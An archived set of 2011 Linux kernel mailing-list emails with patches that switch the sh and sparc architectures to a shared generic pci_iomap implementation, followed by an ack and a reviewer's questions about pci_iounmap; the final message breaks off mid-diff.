Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322166032 6243 80.91.229.12 (24 Nov 2011 20:20:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 20:20:32 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 21:20:16 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTfmH-0000wQ-S3
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 21:20:14 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:51288 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904623Ab1KXUUN (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 21:20:13 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 21:19:56 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:54407 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1904616Ab1KXUTt (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Nov 2011 21:19:49 +0100
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAOKJDSh002544
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 24 Nov 2011 15:19:13 -0500
Original-Received: from redhat.com (vpn1-7-27.ams2.redhat.com [10.36.7.27])
        by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with SMTP id pAOKIwo3010858;
        Thu, 24 Nov 2011 15:18:58 -0500
Content-Disposition: inline
In-Reply-To: <cover.1322163031.git.mst@redhat.com>
X-Mutt-Fcc: =sent
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-archive-position: 31987
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33088 gmane.linux.ports.alpha:1590 gmane.linux.kernel:1220303 gmane.linux.ports.arm.kernel:141516 gmane.linux.ports.hexagon:338 gmane.linux.ports.ia64:21893 gmane.linux.ports.m68k:3027 gmane.linux.uclinux.microblaze:11670 gmane.linux.ports.parisc:4036 gmane.linux.ports.ppc64.devel:78458 gmane.linux.ports.sh.devel:12866 gmane.linux.ports.sparc:15511 gmane.linux.kernel.cross-arch:11554 gmane.linux.kernel.pci:12701
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33088>

sh copied pci_iomap from generic code, probably to avoid
pulling the rest of iomap.c in.  Since that's in
a separate file now, we can reuse the common implementation.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/sh/Kconfig           |    1 +
 arch/sh/drivers/pci/pci.c |   23 -----------------------
 2 files changed, 1 insertions(+), 23 deletions(-)

diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 5aeab58..ead1640 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -857,6 +857,7 @@ config PCI
 	bool "PCI support"
 	depends on SYS_SUPPORTS_PCI
 	select PCI_DOMAINS
+	select GENERIC_PCI_IOMAP
 	help
 	  Find out whether you have a PCI motherboard. PCI is the name of a
 	  bus system, i.e. the way the CPU talks to the other stuff inside
diff --git a/arch/sh/drivers/pci/pci.c b/arch/sh/drivers/pci/pci.c
index c2691af..11aaf2f 100644
--- a/arch/sh/drivers/pci/pci.c
+++ b/arch/sh/drivers/pci/pci.c
@@ -393,29 +393,6 @@ static void __iomem *ioport_map_pci(struct pci_dev *dev,
 	return (void __iomem *)(chan->io_map_base + port);
 }
 
-void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
-{
-	resource_size_t start = pci_resource_start(dev, bar);
-	resource_size_t len = pci_resource_len(dev, bar);
-	unsigned long flags = pci_resource_flags(dev, bar);
-
-	if (unlikely(!len || !start))
-		return NULL;
-	if (maxlen && len > maxlen)
-		len = maxlen;
-
-	if (flags & IORESOURCE_IO)
-		return ioport_map_pci(dev, start, len);
-	if (flags & IORESOURCE_MEM) {
-		if (flags & IORESOURCE_CACHEABLE)
-			return ioremap(start, len);
-		return ioremap_nocache(start, len);
-	}
-
-	return NULL;
-}
-EXPORT_SYMBOL(pci_iomap);
-
 void pci_iounmap(struct pci_dev *dev, void __iomem *addr)
 {
 	iounmap(addr);
-- 
1.7.5.53.gc233e




From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: [PATCH-RFC 10/10] sparc: switch to GENERIC_PCI_IOMAP
Date: Thu, 24 Nov 2011 22:21:27 +0200
Lines: 110
Approved: news@gmane.org
Message-ID: <63292221aef2eb299e7dba860b3ee38c2ed05eb8.1322163031.git.mst@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322166080 6788 80.91.229.12 (24 Nov 2011 20:21:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 20:21:20 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 21:21:04 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTfn5-0000wQ-R9
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 21:21:03 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:51319 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904616Ab1KXUVD (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 21:21:03 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 21:20:45 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:26319 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1904621Ab1KXUUh (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 24 Nov 2011 21:20:37 +0100
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pAOKK3M5010570
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 24 Nov 2011 15:20:03 -0500
Original-Received: from redhat.com (vpn1-7-27.ams2.redhat.com [10.36.7.27])
        by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with SMTP id pAOKJmHd007866;
        Thu, 24 Nov 2011 15:19:48 -0500
Content-Disposition: inline
In-Reply-To: <cover.1322163031.git.mst@redhat.com>
X-Mutt-Fcc: =sent
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
X-archive-position: 31988
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mst@redhat.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33089 gmane.linux.ports.alpha:1591 gmane.linux.kernel:1220304 gmane.linux.ports.arm.kernel:141517 gmane.linux.ports.hexagon:339 gmane.linux.ports.ia64:21894 gmane.linux.ports.m68k:3028 gmane.linux.uclinux.microblaze:11671 gmane.linux.ports.parisc:4037 gmane.linux.ports.ppc64.devel:78459 gmane.linux.ports.sh.devel:12867 gmane.linux.ports.sparc:15512 gmane.linux.kernel.cross-arch:11555 gmane.linux.kernel.pci:12702
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33089>

sparc copied pci_iomap from generic code, probably to avoid
pulling the rest of iomap.c in.  Since that's in
a separate file now, we can reuse the common implementation.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/sparc/Kconfig             |    1 +
 arch/sparc/include/asm/io_32.h |    5 ++++-
 arch/sparc/include/asm/io_64.h |    5 ++++-
 arch/sparc/lib/iomap.c         |   23 -----------------------
 4 files changed, 9 insertions(+), 25 deletions(-)

diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index f92602e..a4644f5 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -28,6 +28,7 @@ config SPARC
 	select HAVE_GENERIC_HARDIRQS
 	select GENERIC_IRQ_SHOW
 	select USE_GENERIC_SMP_HELPERS if SMP
+	select GENERIC_PCI_IOMAP
 
 config SPARC32
 	def_bool !64BIT
diff --git a/arch/sparc/include/asm/io_32.h b/arch/sparc/include/asm/io_32.h
index c2ced21..9be8778 100644
--- a/arch/sparc/include/asm/io_32.h
+++ b/arch/sparc/include/asm/io_32.h
@@ -8,6 +8,10 @@
 #include <asm/page.h>      /* IO address mapping routines need this */
 #include <asm/system.h>
 
+#ifdef __KERNEL__
+#include <asm-generic/pci_iomap.h>
+#endif
+
 #define page_to_phys(page)	(page_to_pfn(page) << PAGE_SHIFT)
 
 static inline u32 flip_dword (u32 l)
@@ -324,7 +328,6 @@ extern void ioport_unmap(void __iomem *);
 
 /* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
 struct pci_dev;
-extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max);
 extern void pci_iounmap(struct pci_dev *dev, void __iomem *);
 
 /*
diff --git a/arch/sparc/include/asm/io_64.h b/arch/sparc/include/asm/io_64.h
index 9c89654..19cd51d 100644
--- a/arch/sparc/include/asm/io_64.h
+++ b/arch/sparc/include/asm/io_64.h
@@ -9,6 +9,10 @@
 #include <asm/system.h>
 #include <asm/asi.h>
 
+#ifdef __KERNEL__
+#include <asm-generic/pci_iomap.h>
+#endif
+
 /* PC crapola... */
 #define __SLOW_DOWN_IO	do { } while (0)
 #define SLOW_DOWN_IO	do { } while (0)
@@ -514,7 +518,6 @@ extern void ioport_unmap(void __iomem *);
 
 /* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
 struct pci_dev;
-extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max);
 extern void pci_iounmap(struct pci_dev *dev, void __iomem *);
 
 static inline int sbus_can_dma_64bit(void)
diff --git a/arch/sparc/lib/iomap.c b/arch/sparc/lib/iomap.c
index 9ef37e1..c4d42a5 100644
--- a/arch/sparc/lib/iomap.c
+++ b/arch/sparc/lib/iomap.c
@@ -18,31 +18,8 @@ void ioport_unmap(void __iomem *addr)
 EXPORT_SYMBOL(ioport_map);
 EXPORT_SYMBOL(ioport_unmap);
 
-/* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
-void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
-{
-	resource_size_t start = pci_resource_start(dev, bar);
-	resource_size_t len = pci_resource_len(dev, bar);
-	unsigned long flags = pci_resource_flags(dev, bar);
-
-	if (!len || !start)
-		return NULL;
-	if (maxlen && len > maxlen)
-		len = maxlen;
-	if (flags & IORESOURCE_IO)
-		return ioport_map(start, len);
-	if (flags & IORESOURCE_MEM) {
-		if (flags & IORESOURCE_CACHEABLE)
-			return ioremap(start, len);
-		return ioremap_nocache(start, len);
-	}
-	/* What? */
-	return NULL;
-}
-
 void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
 {
 	/* nothing to do */
 }
-EXPORT_SYMBOL(pci_iomap);
 EXPORT_SYMBOL(pci_iounmap);
-- 
1.7.5.53.gc233e



From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.kernel.pci,gmane.linux.ports.sparc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH-RFC 02/10] lib: add GENERIC_PCI_IOMAP
Date: Thu, 24 Nov 2011 23:07:57 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <1564173.bLjG0I2D2P@wuerfel>
References: <cover.1322163031.git.mst@redhat.com> <b5a1327dd8bb38f87cba7ae10b308ec3b63de66a.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1322172585 16848 80.91.229.12 (24 Nov 2011 22:09:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 24 Nov 2011 22:09:45 +0000 (UTC)
Cc: "Michael S. Tsirkin" <mst@redhat.com>,
        Nicolas Pitre <nicolas.pitre@linaro.org>,
        linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux@openrisc.net,
        linux-pci@vger.kernel.org, Jesse Barnes <jbarnes@virtuousgeek.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Lennox Wu <lennox.wu@gmail.com>,
        Jonas Bonn <jonas@southpole.se>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Russell King <linux@arm.linux.org.uk>,
        linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Geert U
To: linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 24 23:09:30 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RThU1-0004tl-J2
	for sgi-linux-mips@gmane.org; Thu, 24 Nov 2011 23:09:29 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:48473 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1904616Ab1KXWJY (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 24 Nov 2011 23:09:24 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 24 Nov 2011 23:09:06 +0100 (CET)
Original-Received: from moutng.kundenserver.de ([212.227.126.186]:63267 "EHLO
        moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1904619Ab1KXWJC (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 24 Nov 2011 23:09:02 +0100
Original-Received: from wuerfel.localnet (port-92-200-107-254.dynamic.qsc.de [92.200.107.254])
        by mrelayeu.kundenserver.de (node=mreu4) with ESMTP (Nemesis)
        id 0Lirv8-1QqWxb3mes-00d5x5; Thu, 24 Nov 2011 23:08:04 +0100
User-Agent: KMail/4.7.2 (Linux/3.1.0-rc8nosema+; KDE/4.7.2; x86_64; ; )
In-Reply-To: <b5a1327dd8bb38f87cba7ae10b308ec3b63de66a.1322163031.git.mst@redhat.com>
X-Provags-ID: V02:K0:EG8dozazYPpsKr6UJtFOn4IfwTCKaaCkCZeDOe2Okjx
 Cc2TasOhfy9zUcOiKOO/P4lBxzfT3wMDoGESgqYTQEy8BURAks
 aHiYWvWNEc/kLykrF2UPTLFDD/9VfjWt9vHwk2+3HJ//OBFEhb
 phThG2+Zp6D5oukiJTckKukA6Uyj7H8OymA4b1BCA7CJ23Oyhb
 dB63p7LQtYJrJ/xwZ5B2imHQQUb0ujoBmKv0Da8NcLOgE8Ykyn
 zjbjZTaiCGBZNL0lQ3qJfnM203vI5Kh2w7TEsv1vxGrmpFBUYj
 EX0pEBeIQlEmE9icwl3ae2LQQJSdUfHn6Z+ZZ6iASvV9cv10c5
 W3ITD/8xeXK/SyLQ3mPg=
X-archive-position: 31989
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: arnd@arndb.de
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33090 gmane.linux.ports.ppc64.devel:78462 gmane.linux.ports.m68k:3031 gmane.linux.ports.ia64:21895 gmane.linux.kernel.pci:12703 gmane.linux.ports.sparc:15513 gmane.linux.ports.sh.devel:12868 gmane.linux.ports.hexagon:340 gmane.linux.kernel.cross-arch:11556 gmane.linux.uclinux.microblaze:11672 gmane.linux.ports.arm.kernel:141535 gmane.linux.ports.parisc:4038 gmane.linux.kernel:1220327 gmane.linux.ports.alpha:1592
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33090>

On Thursday 24 November 2011 22:17:02 Michael S. Tsirkin wrote:
> Many architectures want a generic pci_iomap but
> not the rest of iomap.c. Split that to a separate .c
> file and add a new config symbol. select automatically
> by GENERIC_IOMAP.
> 
> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>

Very nice!

Acked-by: Arnd Bergmann <arnd@arndb.de>



From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH-RFC 02/10] lib: add GENERIC_PCI_IOMAP
Date: Fri, 25 Nov 2011 11:54:55 +1100
Lines: 216
Approved: news@gmane.org
Message-ID: <20111125115455.9d5e18da6e683586d84ed9c8@canb.auug.org.au>
References: <cover.1322163031.git.mst@redhat.com>
 <b5a1327dd8bb38f87cba7ae10b308ec3b63de66a.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============6132578827858740304=="
X-Trace: dough.gmane.org 1322182569 12874 80.91.229.12 (25 Nov 2011 00:56:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 25 Nov 2011 00:56:09 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-m68k@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-pci@vger.kernel.org, linux@openrisc.net,
 Jesse Barnes <jbarnes@virtuousgeek.org>, Chen Liqin <liqin.chen@sunplusct.com>,
 Paul Mackerras <paulus@samba.org>, Ralf Baechle <ralf@linux-mips.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, Lennox Wu <lennox.wu@gmail.com>,
 Jonas Bonn <jonas@southpole.se>, Jesper Nilsson <jesper.nilsson@axis.com>,
 Russell King <linux@arm.linux.org.uk>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Arend van Spriel <arend@broadcom.com>, Matt Turner <mattst88@gmail.com>,
 linux-arch@vger.k
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri Nov 25 01:55:53 2011
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1RTk52-0002au-22
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 25 Nov 2011 01:55:52 +0100
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id A8DF9100A0C
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 25 Nov 2011 11:55:42 +1100 (EST)
Original-Received: from calzone.tip.net.au (calzone.tip.net.au
 [IPv6:2402:b800:7003:1::15])
 by ozlabs.org (Postfix) with ESMTP id 80D441007DA
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 25 Nov 2011 11:55:34 +1100 (EST)
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by calzone.tip.net.au (Postfix) with ESMTPSA id 7828312847B;
 Fri, 25 Nov 2011 11:55:02 +1100 (EST)
In-Reply-To: <b5a1327dd8bb38f87cba7ae10b308ec3b63de66a.1322163031.git.mst@redhat.com>
X-Mailer: Sylpheed 3.2.0beta3 (GTK+ 2.24.8; i486-pc-linux-gnu)
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:46995 gmane.linux.ports.mips.general:33091 gmane.linux.ports.m68k:3033 gmane.linux.ports.ia64:21896 gmane.linux.ports.sh.devel:12869 gmane.linux.kernel.pci:12704 gmane.linux.ports.sparc:15514 gmane.linux.ports.hexagon:341 gmane.linux.kernel.cross-arch:11557 gmane.linux.uclinux.microblaze:11673 gmane.linux.ports.arm.kernel:141543 gmane.linux.ports.parisc:4039 gmane.linux.kernel:1220353 gmane.linux.ports.alpha:1593
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/46995>

--===============6132578827858740304==
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA256";
 boundary="Signature=_Fri__25_Nov_2011_11_54_55_+1100_Ear09Vzvz+xx6qEm"

--Signature=_Fri__25_Nov_2011_11_54_55_+1100_Ear09Vzvz+xx6qEm
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Michael,

On Thu, 24 Nov 2011 22:17:02 +0200 "Michael S. Tsirkin" <mst@redhat.com> wr=
ote:
>
> diff --git a/include/asm-generic/io.h b/include/asm-generic/io.h
> index 9120887..c8a67345 100644
> --- a/include/asm-generic/io.h
> +++ b/include/asm-generic/io.h
> @@ -19,6 +19,8 @@
>  #include <asm-generic/iomap.h>
>  #endif
> =20
> +#include <asm-generic/pci_iomap.h>
> +
>  #ifndef mmiowb
>  #define mmiowb() do {} while (0)
>  #endif
> @@ -283,9 +285,6 @@ static inline void writesb(const void __iomem *addr, =
const void *buf, int len)
>  #define __io_virt(x) ((void __force *) (x))
> =20
>  #ifndef CONFIG_GENERIC_IOMAP
> -/* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
> -struct pci_dev;
> -extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned lo=
ng max);
>  static inline void pci_iounmap(struct pci_dev *dev, void __iomem *p)
>  {
>  }

Just wondering why you move pci_iomap but not pic_iounmap.  And also if
pci_iounmap is meant to stay here, then the "struct pci_dev" should
probably stay as well.

> diff --git a/include/asm-generic/iomap.h b/include/asm-generic/iomap.h
> index 98dcd76..fdcddcb 100644
> --- a/include/asm-generic/iomap.h
> +++ b/include/asm-generic/iomap.h
> @@ -69,16 +69,13 @@ extern void ioport_unmap(void __iomem *);
>  #ifdef CONFIG_PCI
>  /* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
>  struct pci_dev;
> -extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned lo=
ng max);
>  extern void pci_iounmap(struct pci_dev *dev, void __iomem *);

Ditto with pci_iounmap.  Also the comment above really belongs with pci_iom=
ap.

> diff --git a/include/asm-generic/pci_iomap.h b/include/asm-generic/pci_io=
map.h
> new file mode 100644
> index 0000000..e08b3bd
> --- /dev/null
> +++ b/include/asm-generic/pci_iomap.h
> @@ -0,0 +1,26 @@
> +/* Generic I/O port emulation, based on MN10300 code
> + *
> + * Copyright (C) 2007 Red Hat, Inc. All Rights Reserved.
> + * Written by David Howells (dhowells@redhat.com)
> + *
> + * This program is free software; you can redistribute it and/or
> + * modify it under the terms of the GNU General Public Licence
> + * as published by the Free Software Foundation; either version
> + * 2 of the Licence, or (at your option) any later version.
> + */
> +#ifndef __ASM_GENERIC_PCI_IOMAP_H
> +#define __ASM_GENERIC_PCI_IOMAP_H
> +
> +#ifdef CONFIG_PCI
> +/* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
> +struct pci_dev;

